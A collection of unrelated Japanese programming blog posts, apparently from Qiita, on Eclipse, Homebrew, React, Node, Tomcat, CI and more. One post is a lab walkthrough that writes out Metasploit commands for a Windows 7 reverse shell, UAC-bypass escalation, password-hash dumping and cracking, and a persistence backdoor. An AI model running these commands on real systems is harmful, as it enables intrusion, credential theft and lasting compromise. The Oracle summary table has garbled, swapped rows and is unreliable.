・そのファイルにおいて、どのリビジョンで誰が追加、変更したソースなのかがわかります。
いつからそのソースになっているのかの調査に使用します。



# デバッグ

### デバッグシェル
デバッグ中に実行したいコードを実行
・eclipseのウィンドウ→ビューの表示→その他→デバッグの中にデバッグシェルがあるため、これを開いて
デバッグ中に実行したい処理を書きます。
以下ではデバッグ中に変数の日付を変更したい場合に、
コードを選択して右クリック→実行すると変数の中身を書き換えたりできます。
（値の変更からでもできますが、
デバッグシェルのほうが日付文字列の中身を毎回書き換えるだけでいいので楽です）

また、Exceptionのほうはデバッグ中に実行するとエラーになるため、デバッグ途中で
処理を強制的に終了したい場合などに使用しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/690469/3781fe4d-3fb1-92db-572c-71261bd6e29d.png)

### 式
デバッグ中に実行したいコードを毎回実行
・eclipseのウィンドウ→ビューの表示→その他→デバッグの中に式があるため、これを開いて
デバッグ中に実行したい処理を書きます。デバッグシェルとは違って、
式ビューを開いている状態のみ毎回実行されます。
あまり使いこなせてはないですが、seasar2で開発しているときは参考サイトに倣って
式に以下のコードを記載しています。
（jdbcmanagerで最後に実行されたSQLを出力する）
```
System.out.println(SqlLogRegistryLocator.getInstance().getLast().getCompleteSql());
```


# 参考

https://qiita.com/arai-wa/items/c2eb7387b5bf37b4ace4

https://qiita.com/fieldville/items/fe77c9ac65975fd94cbe
Homebrewがインストールできない [M3 mac]

## はじめに
今回、Macを修理に出すと見事に全てのデータが吹き飛んだため、環境構築をし直しました。
その際Homebrewのインストールに躓いたため、備忘録として残しておきます。

## 問題点

https://brew.sh/ja/

公式サイトの通りにインストールを試してみても、インストールできない

```zsh:zsh
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```

```zsh:error
error: RPC failed; curl 92 HTTP/2 stream 5 was not closed cleanly: CANCEL (err 8)

error: 7720 bytes of body are still expected

fetch-pack: unexpected disconnect while reading sideband packet

fatal: early EOF

fatal: fetch-pack: invalid index-pack output

Failed during: /usr/bin/git fetch --force origin

```

とりあえずこちらの記事を参考に、ターミナルの設定を「Rosettaを使用して開く」へ変更し、再起動したが特に変化なし。

参考記事：https://qiita.com/Kinakonoko/items/0b125a1d267c3379961f

## 解決策
どうやら、gitの設定がよろしくなかったらしい。

```git:git
git config --global https.postBuffer 524288000
```

バッファサイズ（メモリに一時的に蓄えるデータのサイズ）がデフォルトでは1MBと少なめに設定されているため、500MBに変更しないといけないらしい。

すると、無事インストール完了

## おわりに
ここまで読んでくださいありがとうございました。

実はこれ記念すべき初投稿になります。
この記事が一人でも多くの僕のような駆け出しエンジニアを救ってくれますよう願いを込めて...
アウトプット学習を2ヶ月続けた結果

# はじめに
アウトプット学習を初めて2ヶ月が経ったので振り返っていきたいと思います。

ちなみに1ヶ月目の振り返りはこちらになりますので、ご興味があれば覗いてみてください。

https://qiita.com/acu8/items/19b7fd61722435eeb282

# この1ヶ月の振り返り
### やったこと
- Udemyでインプット（Next.jsに関する教材１つ）
- React + Viteで感謝日記アプリを個人開発
- Next.jsでブログサイトを個人開発
- Qiita記事投稿(計9記事）

この1ヶ月のダイジェストとしては、ゼロから個人開発プロジェクトを立ち上げてリリースまでできたことです。
作ったアプリの詳細は以下の記事に書いていますので、よかったら見てみてください。

https://qiita.com/acu8/items/ac2c9ea02985e3442cf6

https://qiita.com/acu8/items/f13ff54bf9f0263a877d

このアプリを作る前はReactとTypescriptで学習時間記録アプリをJISOUのカリキュラム通りに作っていくという形で開発をしていました。
今回個人でゼロから作るというのは文字通りアイデア出しから要件定義、デザインなど全て自分で考えて作っていきました。

# 個人開発は難しいけど面白い
今まで気づかなかったのですが、ゼロから何かを開発するときは頭の使い方が全然変わってくるので慣れていないとすごく難しいということです。
というのも、エンジニアになってから現場で開発の仕事をしていてもすでに誰かが要件定義をしたものに沿って設計・開発を進めることが多かったり、ユーザーからの要望を吸い取って開発を進める機会が多かったので、そいうときはいかに要望通りに進めるかに焦点が当たっていました。
個人開発をするときは、すべてがまっさらな状態で全部自分で決めていかなければならず、唯一の指針となるのがユーザー視点のみです。
ユーザー視点をダイレクトに取り入れて考えることがなかったので、どのように世の中の悩みに開発を通して応えるかを考えていきました。結局まずは最初のユーザーである自分の悩みをもとに製品作りをしようと決めました。
今回作成した日記アプリは自分の実体験から生まれた悩みを解消するためのポイントをいくつか盛り込んでいます。

上記のような全く白紙の状態から徐々にプロダクトを組み立てていくことは確かに難しいのですが、同時にすごく楽しいということも分かりました。自由にやりたいようにできるのでUIもいろいろトライしつつ遊んでいるような感覚で進めることができましたし、機能も途中でこうした方がいいかも！と思い立ったらすぐに盛り込むことができました。
普段の業務はウォーターフォール開発なのでこのような思い立ったらすぐに機能追加するということに慣れておらず、新鮮で楽しい経験ができました。

普通に現場で働いて振ってくる業務をこなしているだけではこの思考を鍛えることは難しいというかそういう機会が滅多にない気がします。

逆に経験年数が少なくても、開発の難しさやゼロから作り上げる楽しさを経験できるのは個人開発をして自分でサービスを作ろうとしている人だけではないかと思います。
この面白さに出会えるからもっともっといいものを作りたくなる気持ちやさらに勉強してスキルを上げてプロダクトの性能を上げたくなる気持ちも出てきます。

アウトプット学習を続けるとこういう気持ちが自然に出てきて学習することが大変なことではなく楽しみに変わってきました。



# 以前と比べてどのように成長したか
アウトプット学習を続けていくと頭の中でこういうのを作りたい！と思った時に、すぐにどうすれば実現できるかというイメージを頭の中で作れるようになってきたように思います。

例えば、今は別の個人開発をしているのですが、その中で実現したいことを考えた時にそれをどのように実現させるかということをすぐに調べてソースを書いてみようという感じで軽い気持ちでやってみることができます。言い換えればアプリを作ることへの抵抗がなくなったのでアイデアからやってみるまでのハードルがかなり低くなり時間も短くなりました。




# アウトプット学習を続けて気づいたこと
インプットをしつつアウトプットに重きを置いているアウトプット学習を続けると、自分の知らないことと出会う機会が圧倒的に増えていくと感じます。
それもやればやるほど知らないことがあることに気づくことができます。
この感覚はインプット中心の学習をしている時には全く分かりませんでした。
インプットだけしている時は、本を読んだりUdemyをみたりして勉強している感じを味わって、こんなにやっているからスキルが身についているに違いないと慢心した気持ちを持つこともありました。
今の学習スタイルだとこのように「理解できているに違いない」と空っぽな自信を持つことができません。
なぜなら何かを作るときに嫌というほど自分の知識の足りていないことやスキル面での不足と向き合わなければいけないからです。
不足部分に対しては「高速でインプットして、もう一度アウトプットして理解しきっていないことを実感してインプットを見直してまたアウトプットして理解しているか確認して」という繰り返しでだんだん知識と経験を増やしていっている感じです。

ただここで強調したいのは、自分の知識不足・スキル不足に出会える機会を持てたことは本当に良かったと思えることです。
なぜなら、逆にインプットだけをして自分で開発をしようとしなかったら自分の無知に気づけなかったと思うからです。
もしこの無知や不足部分に気づかずにエンジニアとして数年過ごしていっていたらと思うと今では恐怖に感じます。時代からどんどん取り残されていき、経験年数だけ増え、最新の技術のキャッチアップやスキルが伴っていないエンジニアになる可能性もあります。

エンジニアの価値はその人が置かれている状況によって変わってくると思います。
ただ、技術は年を追うごとに良くなっていることも事実です。その新しい技術を使えることで製品を使用するユーザーが得られるメリットも増えていくと考えています。
さまざまな選択肢の中から最善を常に提供できるようなエンジニアになることは自分の中で価値があることだと思うので、これからもアウトプット学習を続けながらゆっくり成長していきたいと思います。


# おわりに
あっという間に2ヶ月が経ったなという感じですが、この期間に初めてのアプリを制作できたことは一つの自信になりました。
現在、別の個人開発を進めておりアウトプット学習は継続していく予定なので、また3ヶ月が経った頃に記事をアップしたいと思います！


# JISOUのメンバー募集中！

プログラミングコーチングJISOUでは、新たなメンバーを募集しています。
実践的なカリキュラムで、あなたのエンジニアとしてのキャリアを最短で飛躍させましょう！
興味のある方は、ぜひホームページからお気軽にカウンセリングをお申し込みください！
▼▼▼

https://projisou.jp/
【TypeScriptで学ぶデータ構造】木（二分木）


## 木
一つの要素に複数の要素が紐付き、さらに紐づいた要素が複数の要素と紐付く、という形で階層が深くなるほど枝分かれしていく構造です。
（一つ一つの要素をノードという）


### 具体的な例はHTMLのDOMツリー

各html要素がノードとして扱われ、タグの階層関係に基づいて木構造が生成されます。
学び初めは木構造て何？といった感じでしたがとても身近ですね

## 二分木を再現したクラス

```binary.ts
//二分木のノードクラス
class TreeNode<T> {
	public value: T;
	public left: TreeNode<T> | null = null;
	public right: TreeNode<T> | null = null;

	constructor(value: T) {
		this.value = value;
	}
}

//二分木を表現したクラス
class BinarySearchTree<T> {
	private root: TreeNode<T> | null = null;

	//ノードの挿入
	public insert(value: T): void {
		const newNode = new TreeNode(value);
		if (this.root === null) {
			this.root = newNode;
		} else {
			this.insertNode(this.root, newNode);
		}
	}

	//ノードの挿入を行うメソッド（再帰的に適切な位置を探す仕様）
	private insertNode(node: TreeNode<T>, newNode: TreeNode<T>): void {
		if (newNode.value < node.value) {
			if (node.left === null) {
				node.left = newNode;
			} else {
				this.insertNode(node.left, newNode);
			}
		} else {
			if (node.right === null) {
				node.right = newNode;
			} else {
				this.insertNode(node.right, newNode);
			}
		}
	}

	//ノードの探索を行うメソッド
	public search(value: T): boolean {
		return this.searchNode(this.root, value);
	}

	private searchNode(node: TreeNode<T> | null, value: T): boolean {
		if (node === null) {
			return false;
		}
		if (value === node.value) {
			return true;
		} else if (value < node.value) {
			return this.searchNode(node.left, value);
		} else {
			return this.searchNode(node.right, value);
		}
	}

	//最小値を取得するメソッド
	public findMin(): T | null {
		return this.findMinNode(this.root);
	}

	private findMinNode(node: TreeNode<T> | null): T | null {
		if (node === null) {
			return null;
		} else if (node.left === null) {
			return node.value;
		} else {
			return this.findMinNode(node.left);
		}
	}

	//最大値を取得するメソッド
	public findMax(): T | null {
		return this.findMaxNode(this.root);
	}

	private findMaxNode(node: TreeNode<T> | null): T | null {
		if (node === null) {
			return null;
		} else if (node.right === null) {
			return node.value;
		} else {
			return this.findMaxNode(node.right);
		}
	}
	//トラバース（全ノードを一回ずつ全て探索する処理です）
	public inOrderTraversal(): void {
		this.inOrder(this.root);
	}

	private inOrder(node: TreeNode<T> | null): void {
		if (node !== null) {
			this.inOrder(node.left);
			console.log(node.value);
			this.inOrder(node.right);
		}
	}
}

// 使用例
const bst = new BinarySearchTree<number>();

bst.insert(50);
bst.insert(30);
bst.insert(70);
bst.insert(20);
bst.insert(40);
bst.insert(60);
bst.insert(80);

console.log("トラバース");
bst.inOrderTraversal(); // 20, 30, 40, 50, 60, 70, 80が表示される

console.log("60を探した結果！", bst.search(60)); // true
console.log("25を探した結果！", bst.search(25)); // false

console.log("最小値", bst.findMin()); // 20
console.log("最大値", bst.findMax()); // 80

```
Reactのこれ、覚えてますか？

# 概要
- Reactを実務で使っている投稿者が
    - 曖昧になっていた部分
    - 印象に残った部分
    - をピックアップします
- 気軽にコメントください

# JSXはあくまでも糖衣構文
- ReactはあくまでもJavascriptであり、
    - 例えJSXを使用していても、その正体はJSに他ならない
- 一見、HTMLを記述しているように見えるが、JSを記述していることを忘れないように

# Babel
- Javascriptトランスコンパイラ
- 最新のイケてるJS構文や、JSXを現行のブラウザでも動くようにトランスパイルしてくれる

# Atomic Design
- react設計の考え方
- ページと部品（コンポーネント）で分けて考える
    - 単位は以下の通り
        - Atomics（原子）
        - Molcules（分子）
        - Organisms（有機物）
        - Templates（テンプレート）
        - Pages（ページ）

# webpack
- モジュールバンドラー
- モジュール化されたJSファイルをブラウザ上で動くようにバンドルするツール
- 依存関係を解決してくれる
    - 例えば`index.js`で使うメソッドが`lib.js`で定義されているとしたら
        - index.jsはlib.jsに依存している
    - 上記のような依存関係を解決してくれる

# liタグとkey
- mapでliを操作する際はkeyを使わないと以下のエラーが発生する

:::note alert
Warning: Each child in a list should have a unique “key” prop.
:::

ので、以下のようにliにkeyをつける

```javascript
import { people } from './data.js';
import { getImageUrl } from './utils.js';

export default function List() {
    const people = [{
      id: 0, // Used in JSX as a key
      name: 'Creola Katherine Johnson',
      profession: 'mathematician',
      accomplishment: 'spaceflight calculations',
      imageId: 'MK3eW3A'
    }, {
      id: 1, // Used in JSX as a key
      name: 'Mario José Molina-Pasquel Henríquez',
      profession: 'chemist',
      accomplishment: 'discovery of Arctic ozone hole',
      imageId: 'mynHUSa'
    }, {
      id: 2, // Used in JSX as a key
      name: 'Mohammad Abdus Salam',
      profession: 'physicist',
      accomplishment: 'electromagnetism theory',
      imageId: 'bE7W1ji'
    }];

    const listItems = people.map(person =>
    <li key={person.id}>
      <img
        src={getImageUrl(person)}
        alt={person.name}
      />
      <p>
        <b>{person.name}</b>
          {' ' + person.profession + ' '}
          known for {person.accomplishment}
      </p>
    </li>
    );
    return <ul>{listItems}</ul>;
    }

```
Kali linuxからWindows7にリバースシェルで接続

# 環境
Kali LinuxのMetasploit6で、Windows7にリバースシェルで接続する。
両方とも、Virtual Boxにインストールし、ネットワークは、ホストオンリーアダプタとする。
&lt;ipaddress&gt;は、Kali LinuxのIPアドレス。
&lt;port&gt;は、Kali Linuxの待ち受けポート。デフォルトは、4444。
# ペイロードを作成する
Metasploitを起動する。
```:shell
msfconsole
```
Kali Linuxで、Windows7で実行させるためのペイロードを作成する。
```:msf6
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ipaddress> LPORT=<port> -f exe -o ./reverse_shell.exe
```
Kali Linuxの/rootにペイロードが作成される。
ペイロードは、Windows7にダウンロードさせて、実行させる必要がある。
# Kali Linuxの待ち受け
```:msf6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ipaddress>
show options
exploit
```
Kali Linuxが待ち受けている時に、Windows7のペイロードが実行すると、リバースシェルが確立する。
# 特権昇格
リバースシェルが確立すると、Windowsのコマンド待ちになる。
一旦、セッションをバックグラウンドにして、特権昇格のモジュールを実行する。
```:msf6
background
sessions -i
use exploit/windows/local/bypassuac
set SESSION 1
set LHOST <ipaddress>
show options
exploit
```
Windows7で、ペイロードを実行したユーザがadmins groupでないと、以下のエラーで実行できない。
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
成功すると、別セッションで接続される。
```:msf6
getuid
getsystem -t 1
getuid
```
# パスワードハッシュの取得
```:msf6
run hashdump
```
Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
Example: run post/windows/gather/smart_hashdump OPTION=value [...]
非推奨とのことなので、推奨されているpost/windows/gather/smart_hashdumpを実行する。
```:msf6
background
use post/windows/gather/smart_hashdump
sessions -i
set SESSION 2
show options
exploit
```
表示されたパスワードハッシュをhash.txtに保存する。
# オフラインパスワードクラッカー
オフラインで取得したパスワードハッシュを解析する。
辞書リストにないパスワードは解析できない。
```:shell
john hash.txt --show
john --wordlist=/usr/share/john/password.lst --format:nt hash.txt
john hash.txt --show --format=NT
```
パスワードを解析したユーザーが表示される。
# システム情報収集
```:msf6
sessions 2
run scraper
```
# shellの呼び出し
```:msf6
shell
```
# バックドアの永続化
自動でペイロードが実行されるようにする。
```:msf6
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p <port> -r <ipaddress>
```
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
非推奨とのことなので、推奨されているexploit/windows/local/persistenceを実行する。
特権昇格したセッションで実行した場合、ユーザーの不一致のせいか
C:\Users\<user name>\AppData\Local\Temp\にvbsは保存されたが、レジストリの自動起動は設定されなかった。
昇格前のセッションで実行する。
HKLMではなく、HKCUに自動起動が設定された。
```:msf6
background
sessions 1
run exploit/windows/local/persistence LHOST=<ipaddress> LPORT=<port>
```
自動起動を手動で設定する場合
```:msf6
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\Users\<user name>\AppData\Local\Temp\<vbs名>'
```
不要なセッションを削除する。
```:msf6
sessions -i
sessions -k 1
```
Windowsタスクマネージャーのreverse_shell.exeが消える。
Oracleの統合監査とAudit Vaultの違いは？

Oracleの**統合監査（Unified Auditing）**と**Oracle Audit Vault**は、どちらも監査機能に関連しますが、そのスコープ、機能、および目的において大きく異なります。以下はそれぞれの違いを詳しく説明します。

**1. 監査の範囲**
- **統合監査（Unified Auditing）:**
  - Oracleデータベース内のすべての監査機能（標準監査、ファイングレイン監査、SYS操作監査など）を統一した監査フレームワークです。
  - 主に単一のOracleデータベース内の操作を監査し、データベース内のユーザーアクティビティやSQLステートメントの実行を追跡します。
  - Oracle Database 12c以降で使用可能で、データベース操作に関する包括的な監査を実現します。

- **Audit Vault:**
  - Oracle Audit Vaultは、Oracleデータベースだけでなく、**複数の異なるデータベース（Oracle、SQL Server、MySQLなど）やシステム（OS、アプリケーション）**から監査ログを収集・管理するためのツールです。
  - 監査範囲は広く、データベースだけでなく、ネットワーク、OS、ファイルアクセスなども対象にできます。
  - 監査データを中央のAudit Vaultサーバに集約し、複数のデータソースを統合して管理します。

**2. 監査ログの保存方法**
 - **統合監査:**
   - 監査ログは主にOracleデータベース内に保存され、`UNIFIED_AUDIT_TRAIL`ビューに格納されます。このビューにより、すべての監査データを一元的に確認できます。
   - データベース内での監査ログ管理が主で、単一のデータベース環境に適しています。

- **Audit Vault:**
  - 監査ログはAudit Vaultサーバに集約され、データベース内だけでなく、他のシステムの監査データも含めて管理します。
  - 複数のデータソースからのログを安全に保存し、長期間保管したり、統一された監査ポリシーで管理したりすることが可能です。

**3. 管理・分析機能**
- **統合監査:**
  - Oracleデータベースの監査機能として、データベース内のクエリや操作を監査します。監査ログの管理は主にデータベース管理者（DBA）によって行われます。
  - レポート機能や分析機能はOracleデータベース内の監査データに限定されます。

- **Audit Vault:**
  - Audit Vaultは、強力なダッシュボードやレポート機能を提供し、複数のデータベースやシステムから収集した監査データを一元的に可視化します。
  - リアルタイムでの監視やアラート、複雑なクエリによる監査ログの分析が可能で、法規制やコンプライアンス対応にも強力です。

**4. 監査ポリシーの設定**
- **統合監査:**
  - 監査ポリシーは、`CREATE AUDIT POLICY`文を使用して個別に定義します。データベース内の特定の操作やユーザーに対して監査ポリシーを作成できます。
  - 例えば、特定のSQLステートメントやユーザーアクションに基づく細かい監査が可能です。

- **Audit Vault:**
  - Audit Vaultでは、監査ポリシーを中央管理し、複数のデータベースやシステムに対して一貫した監査ポリシーを適用できます。
  - 組織全体で共通の監査ポリシーを定義し、複数のデータソースに同じルールを適用することで、コンプライアンスやセキュリティ要件に対応します。

**5. 監査データのセキュリティとコンプライアンス**
- **統合監査:**
  - Oracleデータベース内での監査ログ管理に焦点を当てており、個別のデータベースのセキュリティとコンプライアンスを確保します。
  - 標準監査や統合監査のポリシーに基づき、データベース操作を監視することが可能ですが、他のシステムやデータベースには対応していません。

- **Audit Vault:**
  - 複数のシステムやデータベースからの監査ログを一元管理することで、セキュリティリスクやコンプライアンスに関する広範な管理が可能です。
  - 長期間のログ保存やアーカイブ、監査証跡の保全、インシデントのリアルタイムアラートなど、セキュリティや法規制対応に特化しています。

**6. 利用シナリオ**
- **統合監査:**
  - 単一のOracleデータベースに対して、きめ細かい監査を行うために使用されます。
  - データベース内の操作やユーザーアクティビティを追跡する必要があるシナリオに適しています。中小規模のシステムや、データベース内でのコンプライアンス監査が主な利用ケースです。

- **Audit Vault:**
  - 複数のデータベースやシステムから監査データを収集し、統一的に管理・分析したい場合に適しています。
  - 大規模なエンタープライズ環境で、セキュリティポリシーや法規制に準拠した広範な監査を行いたい組織に向いています。

**まとめ**
|項目  |統合監査  |Audit Vault  |
|---|---|---|
|**監査対象**|Oracleデータベース内の操作|複数のデータベースやシステム|
|**監査データの保存先**|Oracleデータベース内|Audit Vaultサーバ|
|**管理・分析**|Oracleデータベース内での分析|ダッシュボード、レポート、リアルタイム監視|
|**ポリシー管理**|個別の監査ポリシー設定|複数システムに統一ポリシー適用|
|**コンプライアンス対応**|Oracleデータベースに限定|複数システム、法規制対応|
|**利用シナリオ**|Oracleデータベース内|Audit Vaultサーバ|
|**監査データの保存先**|単一のデータベース監査|大規模環境、複数システムの統合監査|

Oracleの**統合監査**は、データベース内の操作を効率的に監査するためのものであり、主に単一のOracleデータベースに焦点を当てています。一方、**Audit Vault**は、広範囲のシステムとデータベースの監査ログを統合的に管理し、セキュリティとコンプライアンスの強化を目的とした大規模な環境に適しています。
ガチ初学者の落書き　ノード

多分いろいろ間違っている覚書です。

# ターミナルよく使うコマンド
ls:ディレクトリ一覧表示
pwd:今いるパス表示
cd:ディレクトリ移動
mkdir:ディレクトリの作成
touch:ファイルの作成

# Nodeのターミナル操作
jsファイルの結果の出力:　node jsファイル名

## npm
- npm:パッケージ(他の人が作った便利ツール）が使えるようになるもの
- ノードモジュール:パッケージをインストールしたときにそのパッケージと、依存関係のあるパッケージを格納するディレクトリ
- package.json:自分のプロジェクトでインストールしたパッケージ情報などが記載されたjsonファイル
- package-lock.json:インストールしたパッケージの情報が記載されたjsonファイル

``npm init``:プロジェクト初期化。package.jsonとjsファイルが作成される。
``npm install パッケージ``:ノードモジュールにパッケージがインストールされる。package-lock.jsonも。
``npm install``:package.jsonをもとにノードモジュールに必要なパッケージをインストールする。プロジェクトを再現できる。

# jsファイル側の操作
パッケージもそうだがファイル間でやり取りされる情報はオブジェクトである。
パッケージ次第で操作方法は異なるが大体下のようなかんじ。

``//require()でオブジェクトを呼び出す``
``const 変数1=require('パッケージ名');``
``//オブジェクトをインスタンス化``
``const 変数2=変数1();``
``変数2.メソッド;``

実行のためにはコマンド上で
``node ファイル名``
を入力する必要がある。


## ファイル間でのデータのやりとり
渡す側:
渡したいデータを
module.export.プロパティ＝プロパティ
としてオブジェクトに詰め込んでいく。

もらう側:
//require()でオブジェクトを呼び出す
const 変数1=require('パッケージ名');
//オブジェクトをインスタンス化
const 変数2=変数1();


# Express使用法入門

サーバーのコードを書き換えたときはCtr＋cでいったんサーバー止めなくてはならない
```ターミナル
npm init
npm i express
touch index.js
//サーバーのコード書けたら起動
node index.js
```
```index.js
// expressを使えるようにする
const express=require('express');
const app=express();

//リクエストを受けるための処理(どのパスに来ても処理を行う)
app.use((req,res)=>{リクエストに対しての具体的な処理});
//サーバーの立ち上げ
app.listen(ポート番号,()=>{サーバー起動時の処理});
//特定のパスへのgetリクエストを受ける処理
app.get(/パス,(req,res)=>{リクエストに対しての具体的な処理});
//ルートパスへのgetリクエストを受ける処理
app.get(/,(req,res)=>{リクエストに対しての具体的な処理});
//関係ないパスへのgetリクエストを受ける処理
app.get(*,(req,res)=>{リクエストに対しての具体的な処理});
//postリクエストに対する処理
app.post(/パス,(req,res)=>{リクエストに対しての具体的な処理});
```

## サブレディット(共通の親を持つページ)へのリクエスト受付
```index.js
//subreditへのgetリクエストを受ける処理
app.get(/パス/:subredit;/:subredit2,(req,res)=>{
  //subreditのバリューの取得
  const {subredit,subredit2}=req.params;
});
```
## クエリの処理
```index.js
app.get(/パス,{req,res}=>{
 //クエリの値の取得
 const {q}=req.query
});
```
## リクエストに対しての具体的な処理(req,resの操作)
```index.js
//send レスポンスを返す。リクエストを受ける処理の中で書く
res.send('hoge');
```

## nodemonの使い方
サーバー変更時に一回一回めんどくさいことをしなくてもよくなる。
nodemonはグローバルインストール(どこのディレクトリでも使えるようにする）の方が便利なのでそうしておく。

```ターミナル
npm i -g nodemon
//使用
nodemon index.js
```
Windows で cargo:run したときの Tomcat の文字化けを解消する

## 環境

- Windows 11
    - 表示言語: 日本語
    - システム ロケール: 日本語 (日本)
    - ワールドワイド言語サポートで Unicode UTF-8 を使用 はチェックしていない
- JDK 17
- Maven 3.9


## 困りごと

以下の通り pom.xml を書いて cargo:run すると、Tomcat のログが文字化けしている。

```xml:pom.xml
<project>
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.example</groupId>
    <artifactId>cargo-run-test</artifactId>
    <version>0.0.0-SNAPSHOT</version>

    <build>
        <plugins>
            <plugin>
                <groupId>org.codehaus.cargo</groupId>
                <artifactId>cargo-maven3-plugin</artifactId>
                <version>1.10.14</version>
                <configuration>
                    <container>
                        <containerId>tomcat9x</containerId>
                    </container>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>
```

## 解決方法 (その 1)

pom.xml に以下を追加

```xml:pom.xml
    <properties>
        <cargo.jvmargs>-Dfile.encoding=UTF-8</cargo.jvmargs>
    </properties>
```


## 解決方法 (その 2)

1. 一度、文字化けした状態で Tomcat を起動する
1. `${project.basedir}/target/cargo/configurations/conf/logging.properties` を `${project.basedir}/conf/logging.properties` にコピーする
1. `${project.basedir}/conf/logging.properties` に以下の行を追加
   ```properties
   java.util.logging.ConsoleHandler.encoding = UTF-8
   ```
1. pom.xml を以下のように修正
   ```xml:pom.xml
   <project>
       <modelVersion>4.0.0</modelVersion>
   
       <groupId>com.example</groupId>
       <artifactId>cargo-run-test</artifactId>
       <version>0.0.0-SNAPSHOT</version>
   
       <build>
           <plugins>
               <plugin>
                   <groupId>org.codehaus.cargo</groupId>
                   <artifactId>cargo-maven3-plugin</artifactId>
                   <version>1.10.14</version>
                   <configuration>
                       <container>
                           <containerId>tomcat9x</containerId>
                       </container>
                       <configuration>
                           <configfiles>
                               <configfile>
                                   <file>${project.basedir}/conf/logging.properties</file>
                                   <todir>conf</todir>
                               </configfile>
                           </configfiles>
                       </configuration>
                   </configuration>
               </plugin>
           </plugins>
       </build>
   </project>
   ```
1. mvn clean cargo:run を実行


## 原因

[cargo:run はログが UTF-8 で記録されることを期待している](https://github.com/codehaus-cargo/cargo/blob/66c5d42cea224bedfbe3f64e1af8f4878e082cff/core/api/container/src/main/java/org/codehaus/cargo/container/spi/jvm/DefaultJvmLauncherLoggerRedirector.java#L76)が、`java.util.logging.ConsoleHandler.encoding = UTF-8` がない場合にはコンソール エンコーディングが使われるため、ここで文字化けが発生する。

ログをコンソール エンコーディングで読み取るようにするのが本来の解決方法だと思われる。
GitHub ActionsでCI/CDを設定してみた！

## はじめに

前回作成した「学習記録アプリ」を拡張して、ビルドツールとして`vite`を導入し、バックエンドには`supabase`を利用しました。
そして、作成したアプリのCI/CDを`GitHub Actions`で設定したので、そちらの感想を共有したいと思います。
<br/>

（前回の記事）

https://qiita.com/masa_code/items/d4f4eb068d5a4a7375ac

## 開発環境
開発環境は以下の通りです。

| 言語・フレームワーク | バージョン |
| ------------------ | ---------- |
| supabase           | 2.45.3     |
| Node.js            | 18.17.1    |
| React              | 18.3.1     |
| vite               | 5.4.1      |
| firebase           | 10.13.0    |

## アプリの機能

- 学習内容と学習時間の入力欄に値を入力すると、直下にその内容が表示される
- 学習内容と学習時間の両項目に値を入力して、登録ボタンを押下するとリスト形式で末尾に登録した内容が追加される
- 学習内容、学習時間のいずれか未入力であれば、登録が実行されずにエラーメッセージが表示される
- 削除ボタンを押下すると対象の学習内容が削除される
- 登録されている学習時間の合計時間が算出される


![画面収録 2024-09-14 21.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3851095/11d48150-033a-3a71-1401-68709d3e87f8.gif)

## 追加した機能

- 開発速度を向上させるために導入`vite`を導入
- 登録したデータを`supabase`で管理
- ビルド、テスト、firebaseにデプロイまでを`GitHub Actions`で一元管理

`vite`については以下の記事を参考にしました。

https://monotein.com/blog/react-vite-how-to-use

## 共有事項
今回初めての作業が、`Firebase`へのデプロイという作業、テストの作成、CI/CDの設定でした。

まず、`Firebase`へのデプロイ設定は対話形式で設定を行う箇所があり、一度間違えると面倒なことになりそうだったので、以下の記事を参考にしました。
こちらは意外とスムーズに出来ました。

https://zenn.dev/conecone/articles/058755b87fec41

次にテストは`Jest`と`Testing Library`のドキュメントやGPTさんに確認しながら、実装できました。
気づきとしては、fireEventよりはuserEventを使用した方が、実際のブラウザの挙動に近いらしい。
ということで、こちらを参考にしました。

https://zenn.dev/k_log24/articles/4c1cd37ff0ca50


そして、最後が`GitHub Actions`でのCI/CDの設定です。
ここが本当に苦労しました、、、
そもそもCI/CDや`GitHub Actions`という単語すら知らなかったこと、yamlファイルは見たことはあれど作成したことはありませんでした。
`GitHub Actions`については、以下の記事がわかりやすかったです。

https://qiita.com/shun198/items/14cdba2d8e58ab96cf95


またCI/CDの設定中でpushした際に、様々なエラーに遭遇しました。
以下がそのエラーの一覧です。

- `dist' for Hosting does not exist.`（distフォルダがないよー）
- `Failed to load module script: Expected a JavaScript module script but the server responded with a MIME type of "text/jsx". Strict MIME type checking is enforced for module scripts per HTML spec.`（jsxファイルは読み込めないよー）
- `supabaseUrl is required.`（supabaseのurlとanon keyが見当たらないよー）

１つエラーが解消されたら、次は他のエラーという流れで沼にハマりました。
まだまだ理解したというレベルではないですが、エラー解決法についても今後まとめてみたいと思います！

## 感想
今回はエラーの連続で、正直なところ途中で何度も心が折れそうになりました。
特に、解決までに時間がかかった箇所では、モチベーションが下がる瞬間も少なくなかったです。
それでも、粘り強く対処方法を学び、他の方の記事を参考にして進めた結果、少しずつ前に進んでいる感覚が得られてきました。
この経験は間違いなく今後に生きると思います！

そして、何よりも **<font color="#1e90ff">実際にエラーが解消できたときの開放感や達成感はたまりません！！
</font>**

ただ、一つ反省点を挙げるとすれば、自己解決しようとするあまり、結果として時間を無駄にしてしまったことです。
特に、エラー内容を **<font color="#1e90ff">言語化</font>** して他の人に共有するのが面倒に感じてしまい、その手間を省こうとした結果、効率が悪くなってしまいました。
実際には、**<font color="#ff0000">エラーを言語化して他の人に伝えることが、問題解決の大事なステップ</font>** なんですよね。
次回からはもっと柔軟に、効率的に問題に取り組めるように心がけたいと思います！

# JISOUのメンバー募集中
プログラミングコーチングJISOUではメンバーを募集しています。
日本一のアウトプットコミュニティでキャリアアップしませんか？

気になる方はぜひHPからお願いします👇

https://projisou.jp
[golang]golangで作ったAPIをコンテナ化する方法（docker image の作成方法）

# はじめに
作ったアプリのコンテナ化（docker image の作成）ってどうやるんだっけ？
っていう話になったので備忘を兼ねてメモ

# 今回のゴール
golang 製のAPIアプリをコンテナ化（docker image を作成）して、 docker run で動くようにする

## 作業の流れ
